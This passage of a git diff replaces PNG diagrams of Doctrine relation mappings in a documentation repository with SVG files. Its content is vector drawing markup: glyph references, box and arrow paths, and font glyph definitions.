y="334.478841"/> + <use xlink:href="#glyph1-2" x="341.836806" y="334.478841"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="363.225694" y="334.478841"/> + <use xlink:href="#glyph1-4" x="369.614583" y="334.478841"/> + <use xlink:href="#glyph1-5" x="375.447917" y="334.478841"/> + <use xlink:href="#glyph1-6" x="384.892361" y="334.478841"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-18" x="338.78125" y="352.822591"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-19" x="363.225694" y="352.822591"/> + <use xlink:href="#glyph1-1" x="370.170139" y="352.822591"/> + <use xlink:href="#glyph1-20" x="373.225694" y="352.822591"/> + <use xlink:href="#glyph1-6" x="378.78125" y="352.822591"/> + <use xlink:href="#glyph1-11" x="384.892361" y="352.822591"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-32" x="338.78125" y="371.170247"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-28" x="363.225694" y="371.170247"/> + <use xlink:href="#glyph1-6" x="371.003472" y="371.170247"/> + <use xlink:href="#glyph1-29" x="377.114583" y="371.170247"/> + <use xlink:href="#glyph1-5" x="380.447917" y="371.170247"/> + <use xlink:href="#glyph1-6" x="389.892361" y="371.170247"/> + <use xlink:href="#glyph1-12" x="396.003472" y="371.170247"/> + <use xlink:href="#glyph1-11" x="400.170139" y="371.170247"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-38" x="338.78125" y="389.513997"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-34" x="363.225694" y="389.513997"/> + <use xlink:href="#glyph1-6" x="366.836806" y="389.513997"/> + <use xlink:href="#glyph1-8" x="372.947917" y="389.513997"/> + <use xlink:href="#glyph1-11" x="376.836806" y="389.513997"/> + <use xlink:href="#glyph1-6" x="381.836806" y="389.513997"/> + <use xlink:href="#glyph1-15" x="387.670139" y="389.513997"/> + <use xlink:href="#glyph1-11" x="393.225694" y="389.513997"/> +</g> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20 35.104102 L 24 35.1 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.33457 34 L 21.33457 38 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.3 34 C 20.134375 34 20 34.134375 20 34.3 L 20 37.7 C 20 37.865625 20.134375 38 20.3 38 L 23.7 38 C 23.865625 38 24 37.865625 24 37.7 L 24 34.3 C 24 34.134375 23.865625 34 23.7 34 Z M 20.3 34 " transform="matrix(20,0,0,20,-69,-363)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-20" x="255.316406" y="29.00217"/> + <use xlink:href="#glyph0-10" x="264.483073" y="29.00217"/> + <use xlink:href="#glyph0-4" x="272.538628" y="29.00217"/> + <use xlink:href="#glyph0-8" x="278.094184" y="29.00217"/> + <use xlink:href="#glyph0-18" x="286.427517" y="29.00217"/> + <use xlink:href="#glyph0-2" x="295.316406" y="29.00217"/> + <use xlink:href="#glyph0-5" x="304.205295" y="29.00217"/> + <use xlink:href="#glyph0-19" x="309.760851" y="29.00217"/> + <use xlink:href="#glyph0-14" x="316.705295" y="29.00217"/> + <use xlink:href="#glyph0-21" x="321.14974" y="29.00217"/> + <use xlink:href="#glyph0-11" x="332.260851" y="29.00217"/> + <use xlink:href="#glyph0-22" x="341.14974" y="29.00217"/> + <use xlink:href="#glyph0-8" x="345.594184" y="29.00217"/> + <use xlink:href="#glyph0-3" x="353.927517" y="29.00217"/> + <use xlink:href="#glyph0-4" x="361.14974" y="29.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 20.1 C 16.134375 20.1 16 20.234375 16 20.4 L 16 22.2 C 16 22.365625 16.134375 22.5 16.3 22.5 L 21.7 22.5 C 21.865625 22.5 22 22.365625 22 22.2 L 22 20.4 C 22 20.234375 21.865625 20.1 21.7 20.1 Z M 16.3 20.1 " transform="matrix(20,0,0,20,-69,-363)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="259.429688" y="58.14681"/> + <use xlink:href="#glyph1-2" x="262.485243" y="58.14681"/> + <use xlink:href="#glyph1-39" x="268.874132" y="58.14681"/> + <use xlink:href="#glyph1-10" x="271.929688" y="58.14681"/> + <use xlink:href="#glyph1-18" x="274.985243" y="58.14681"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="259.429688" y="76.49056"/> + <use xlink:href="#glyph1-4" x="265.818576" y="76.49056"/> + <use xlink:href="#glyph1-5" x="271.65191" y="76.49056"/> + <use xlink:href="#glyph1-6" x="281.096354" y="76.49056"/> + <use xlink:href="#glyph1-39" x="287.207465" y="76.49056"/> + <use xlink:href="#glyph1-10" x="290.263021" y="76.49056"/> + <use xlink:href="#glyph1-19" x="293.318576" y="76.49056"/> + <use xlink:href="#glyph1-1" x="300.263021" y="76.49056"/> + <use xlink:href="#glyph1-20" x="303.318576" y="76.49056"/> + <use xlink:href="#glyph1-6" x="308.874132" y="76.49056"/> + <use xlink:href="#glyph1-11" x="314.985243" y="76.49056"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-23" x="79.203125" y="29.00217"/> + <use xlink:href="#glyph0-5" x="87.814236" y="29.00217"/> + <use xlink:href="#glyph0-2" x="93.369792" y="29.00217"/> + <use xlink:href="#glyph0-16" x="102.258681" y="29.00217"/> + <use xlink:href="#glyph0-17" x="111.147569" y="29.00217"/> + <use xlink:href="#glyph0-3" x="120.036458" y="29.00217"/> + <use xlink:href="#glyph0-4" x="127.258681" y="29.00217"/> + <use xlink:href="#glyph0-14" x="132.814236" y="29.00217"/> + <use xlink:href="#glyph0-21" x="137.258681" y="29.00217"/> + <use xlink:href="#glyph0-11" x="148.369792" y="29.00217"/> + <use xlink:href="#glyph0-22" x="157.258681" y="29.00217"/> + <use xlink:href="#glyph0-8" x="161.703125" y="29.00217"/> + <use xlink:href="#glyph0-3" x="170.036458" y="29.00217"/> + <use xlink:href="#glyph0-4" x="177.258681" y="29.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7.3 20.101172 C 7.134375 20.101172 7 20.235547 7 20.401172 L 7 24.801172 C 7 24.966797 7.134375 25.101172 7.3 25.101172 L 12.7 25.101172 C 12.865625 25.101172 13 24.966797 13 24.801172 L 13 20.401172 C 13 20.235547 12.865625 20.101172 12.7 20.101172 Z M 7.3 20.101172 " transform="matrix(20,0,0,20,-69,-363)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="79.429688" y="58.170247"/> + <use xlink:href="#glyph1-2" x="82.485243" y="58.170247"/> + <use xlink:href="#glyph1-39" x="88.874132" y="58.170247"/> + <use xlink:href="#glyph1-10" x="91.929688" y="58.170247"/> + <use xlink:href="#glyph1-17" x="94.985243" y="58.170247"/> + <use xlink:href="#glyph1-18" x="101.65191" y="58.170247"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="79.429688" y="76.517904"/> + <use xlink:href="#glyph1-4" x="85.818576" y="76.517904"/> + <use xlink:href="#glyph1-5" x="91.65191" y="76.517904"/> + <use xlink:href="#glyph1-6" x="101.096354" y="76.517904"/> + <use xlink:href="#glyph1-39" x="107.207465" y="76.517904"/> + <use xlink:href="#glyph1-10" x="110.263021" y="76.517904"/> + <use xlink:href="#glyph1-19" x="113.318576" y="76.517904"/> + <use xlink:href="#glyph1-1" x="120.263021" y="76.517904"/> + <use xlink:href="#glyph1-20" x="123.318576" y="76.517904"/> + <use xlink:href="#glyph1-6" x="128.874132" y="76.517904"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-7" x="79.429688" y="94.861654"/> + <use xlink:href="#glyph1-8" x="85.818576" y="94.861654"/> + <use xlink:href="#glyph1-1" x="89.707465" y="94.861654"/> + <use xlink:href="#glyph1-9" x="92.763021" y="94.861654"/> + <use xlink:href="#glyph1-6" x="97.763021" y="94.861654"/> + <use xlink:href="#glyph1-39" x="103.874132" y="94.861654"/> + <use xlink:href="#glyph1-10" x="106.929688" y="94.861654"/> + <use xlink:href="#glyph1-21" x="109.985243" y="94.861654"/> + <use xlink:href="#glyph1-22" x="116.65191" y="94.861654"/> + <use xlink:href="#glyph1-23" x="123.318576" y="94.861654"/> + <use xlink:href="#glyph1-23" x="129.985243" y="94.861654"/> + <use xlink:href="#glyph1-24" x="136.65191" y="94.861654"/> + <use xlink:href="#glyph1-23" x="139.15191" y="94.861654"/> + <use xlink:href="#glyph1-23" x="145.818576" y="94.861654"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="79.429688" y="113.205404"/> + <use xlink:href="#glyph1-6" x="85.818576" y="113.205404"/> + <use xlink:href="#glyph1-11" x="91.929688" y="113.205404"/> + <use xlink:href="#glyph1-9" x="96.929688" y="113.205404"/> + <use xlink:href="#glyph1-8" x="102.207465" y="113.205404"/> + <use xlink:href="#glyph1-1" x="106.096354" y="113.205404"/> + <use xlink:href="#glyph1-7" x="109.15191" y="113.205404"/> + <use xlink:href="#glyph1-12" x="115.540799" y="113.205404"/> + <use xlink:href="#glyph1-1" x="119.707465" y="113.205404"/> + <use xlink:href="#glyph1-13" x="122.763021" y="113.205404"/> + <use xlink:href="#glyph1-3" x="129.15191" y="113.205404"/> + <use xlink:href="#glyph1-39" x="135.540799" y="113.205404"/> + <use xlink:href="#glyph1-10" x="138.596354" y="113.205404"/> + <use xlink:href="#glyph1-25" x="141.65191" y="113.205404"/> + <use xlink:href="#glyph1-26" x="148.040799" y="113.205404"/> + <use xlink:href="#glyph1-6" x="153.874132" y="113.205404"/> + <use xlink:href="#glyph1-2" x="159.985243" y="113.205404"/> + <use xlink:href="#glyph1-10" x="166.374132" y="113.205404"/> + <use xlink:href="#glyph1-24" x="169.15191" y="113.205404"/> + <use xlink:href="#glyph1-24" x="171.929688" y="113.205404"/> + <use xlink:href="#glyph1-24" x="174.707465" y="113.205404"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-9" x="79.429688" y="131.549154"/> + <use xlink:href="#glyph1-4" x="84.707465" y="131.549154"/> + <use xlink:href="#glyph1-12" x="90.540799" y="131.549154"/> + <use xlink:href="#glyph1-6" x="94.429688" y="131.549154"/> + <use xlink:href="#glyph1-14" x="100.263021" y="131.549154"/> + <use xlink:href="#glyph1-13" x="106.65191" y="131.549154"/> + <use xlink:href="#glyph1-8" x="113.040799" y="131.549154"/> + <use xlink:href="#glyph1-15" x="116.929688" y="131.549154"/> + <use xlink:href="#glyph1-39" x="122.485243" y="131.549154"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10 24.504297 L 14.4 24.5 L 14.4 21 L 15.25 21 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.25 21.25 L 15.75 21 L 15.25 20.75 Z M 15.25 21.25 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17 35.6 L 19.05 35.6 " transform="matrix(20,0,0,20,-69,-363)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 19.05 35.85 L 19.55 35.6 L 19.05 35.35 Z M 19.05 35.85 " transform="matrix(20,0,0,20,-69,-363)"/> +</g> +</svg> diff --git a/_images/doctrine/mapping_relations_proxy.png b/_images/doctrine/mapping_relations_proxy.png deleted file mode 100644 index 935153291d4..00000000000 Binary files a/_images/doctrine/mapping_relations_proxy.png and /dev/null differ diff --git a/_images/doctrine/mapping_relations_proxy.svg b/_images/doctrine/mapping_relations_proxy.svg new file mode 100644 index 00000000000..634d1b0add2 --- /dev/null +++ b/_images/doctrine/mapping_relations_proxy.svg @@ -0,0 +1,926 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="821pt" height="378pt" viewBox="0 0 821 378" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 